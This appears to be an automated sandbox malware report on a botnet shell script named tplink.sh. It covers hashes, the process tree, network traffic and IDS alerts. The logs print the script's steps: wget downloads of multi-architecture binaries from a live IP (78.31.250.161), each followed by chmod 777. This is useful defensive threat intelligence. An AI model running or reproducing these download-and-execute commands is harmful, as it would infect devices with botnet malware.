File name: | tplink.sh |
Full analysis: | https://app.any.run/tasks/562ac2f4-a674-412b-bda0-25116749a668 |
Verdict: | Malicious activity |
Threats: | A botnet is a group of internet-connected devices that are controlled by a single individual or group, often without the knowledge or consent of the device owners. These devices can be used to launch a variety of malicious attacks, such as distributed denial-of-service (DDoS) attacks, spam campaigns, and data theft. Botnet malware is the software that is used to infect devices and turn them into part of a botnet. |
Analysis date: | July 14, 2025, 15:51:31 |
OS: | Ubuntu 22.04.2 |
Tags: | |
Indicators: | |
MIME: | text/plain |
File info: | ASCII text |
MD5: | 7697F8E63B470044B580EDF1C2020E34 |
SHA1: | 837A151FE5B53DFF354985A3572DFB662B9C99D9 |
SHA256: | E26444C37E7A639192A99967A779B3C65C22EFCE5A4B115BB8041A38A6E90894 |
SSDEEP: | 12:wus6ulXuJfKU7zwKDCEoXYNIl5WkyGjB0LK7aXUlW:wusF5uJfp3VerYNI7Wk9YK2XUA |
PID | CMD | Path | Indicators | Parent process | |||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
41393 | /bin/sh -c "sudo chown user /tmp/tplink\.sh && chmod +x /tmp/tplink\.sh && DISPLAY=:0 sudo -iu user /tmp/tplink\.sh " | /usr/bin/dash | — | UbvyYXL4x2mYa65Q | |||||||||||
User: root Integrity Level: UNKNOWN Exit code: 0 Modules
| |||||||||||||||
41394 | sudo chown user /tmp/tplink.sh | /usr/bin/sudo | — | dash | |||||||||||
User: root Integrity Level: UNKNOWN Exit code: 0 Modules
| |||||||||||||||
41395 | chown user /tmp/tplink.sh | /usr/bin/chown | — | sudo | |||||||||||
User: root Integrity Level: UNKNOWN Exit code: 0 Modules
| |||||||||||||||
41396 | chmod +x /tmp/tplink.sh | /usr/bin/chmod | — | dash | |||||||||||
User: root Integrity Level: UNKNOWN Exit code: 0 Modules
| |||||||||||||||
41397 | sudo -iu user /tmp/tplink.sh | /usr/bin/sudo | — | dash | |||||||||||
User: root Integrity Level: UNKNOWN Exit code: 0 Modules
| |||||||||||||||
41398 | -bash --login -c \/tmp\/tplink\.sh | /usr/bin/bash | — | sudo | |||||||||||
User: user Integrity Level: UNKNOWN Exit code: 0 Modules
| |||||||||||||||
41399 | /usr/bin/locale-check C.UTF-8 | /usr/bin/locale-check | — | bash | |||||||||||
User: user Integrity Level: UNKNOWN Exit code: 0 Modules
| |||||||||||||||
41400 | rm mips | /usr/bin/rm | — | bash | |||||||||||
User: user Integrity Level: UNKNOWN Exit code: 256 Modules
| |||||||||||||||
41401 | wget http://78.31.250.161/mips | /usr/bin/wget | bash | ||||||||||||
User: user Integrity Level: UNKNOWN Exit code: 0 Modules
| |||||||||||||||
41402 | chmod 777 mips | /usr/bin/chmod | — | bash | |||||||||||
User: user Integrity Level: UNKNOWN Exit code: 0 Modules
|
PID | Process | Filename | Type | |
---|---|---|---|---|
41401 | wget | /tmp/mips (deleted) | o | |
MD5:— | SHA256:— | |||
41407 | wget | /tmp/mpsl (deleted) | o | |
MD5:— | SHA256:— | |||
41413 | wget | /tmp/arm4 (deleted) | o | |
MD5:— | SHA256:— | |||
41419 | wget | /tmp/arm5 (deleted) | o | |
MD5:— | SHA256:— | |||
41425 | wget | /tmp/arm6 (deleted) | o | |
MD5:— | SHA256:— | |||
41431 | wget | /tmp/arm7 (deleted) | o | |
MD5:— | SHA256:— | |||
41437 | wget | /tmp/x86 (deleted) | o | |
MD5:— | SHA256:— |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
— | — | GET | 204 | 91.189.91.98:80 | http://connectivity-check.ubuntu.com/ | unknown | — | — | whitelisted |
41401 | wget | GET | 200 | 78.31.250.161:80 | http://78.31.250.161/mips | unknown | — | — | — |
41407 | wget | GET | 200 | 78.31.250.161:80 | http://78.31.250.161/mpsl | unknown | — | — | — |
41413 | wget | GET | 200 | 78.31.250.161:80 | http://78.31.250.161/arm4 | unknown | — | — | — |
41419 | wget | GET | 200 | 78.31.250.161:80 | http://78.31.250.161/arm5 | unknown | — | — | — |
41425 | wget | GET | 200 | 78.31.250.161:80 | http://78.31.250.161/arm6 | unknown | — | — | — |
41431 | wget | GET | 200 | 78.31.250.161:80 | http://78.31.250.161/arm7 | unknown | — | — | — |
41437 | wget | GET | 200 | 78.31.250.161:80 | http://78.31.250.161/x86 | unknown | — | — | — |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
484 | avahi-daemon | 224.0.0.251:5353 | — | — | — | unknown |
— | — | 185.125.190.48:80 | connectivity-check.ubuntu.com | Canonical Group Limited | GB | whitelisted |
— | — | 91.189.91.98:80 | connectivity-check.ubuntu.com | Canonical Group Limited | US | whitelisted |
1178 | snap-store | 169.150.255.181:443 | odrs.gnome.org | — | GB | whitelisted |
512 | snapd | 185.125.188.57:443 | api.snapcraft.io | Canonical Group Limited | GB | whitelisted |
512 | snapd | 185.125.188.58:443 | api.snapcraft.io | Canonical Group Limited | GB | whitelisted |
41401 | wget | 78.31.250.161:80 | — | AS-WAVE-1 | US | unknown |
41407 | wget | 78.31.250.161:80 | — | AS-WAVE-1 | US | unknown |
41413 | wget | 78.31.250.161:80 | — | AS-WAVE-1 | US | unknown |
41419 | wget | 78.31.250.161:80 | — | AS-WAVE-1 | US | unknown |
Domain | IP | Reputation |
---|---|---|
connectivity-check.ubuntu.com |
| whitelisted |
google.com |
| whitelisted |
odrs.gnome.org |
| whitelisted |
api.snapcraft.io |
| whitelisted |
alpine-node.libre |
| unknown |
6.100.168.192.in-addr.arpa |
| unknown |
pacific-node.libre |
| unknown |
PID | Process | Class | Message |
---|---|---|---|
— | — | Potential Corporate Privacy Violation | ET INFO Executable and linking format (ELF) file download Over HTTP |
— | — | Potential Corporate Privacy Violation | ET INFO Executable and linking format (ELF) file download Over HTTP |
— | — | Potential Corporate Privacy Violation | ET INFO Executable and linking format (ELF) file download Over HTTP |
— | — | Potential Corporate Privacy Violation | ET INFO Executable and linking format (ELF) file download Over HTTP |
— | — | Potential Corporate Privacy Violation | ET INFO Executable and linking format (ELF) file download Over HTTP |
— | — | Potential Corporate Privacy Violation | ET INFO Executable and linking format (ELF) file download Over HTTP |
— | — | Potential Corporate Privacy Violation | ET INFO Executable and linking format (ELF) file download Over HTTP |
— | — | Potentially Bad Traffic | ET HUNTING Observed DNS Query for OpenNIC Alternative DNS TLD (.libre) |
— | — | Potentially Bad Traffic | ET HUNTING Observed DNS Query for OpenNIC Alternative DNS TLD (.libre) |
— | — | Potentially Bad Traffic | ET HUNTING Observed DNS Query for OpenNIC Alternative DNS TLD (.libre) |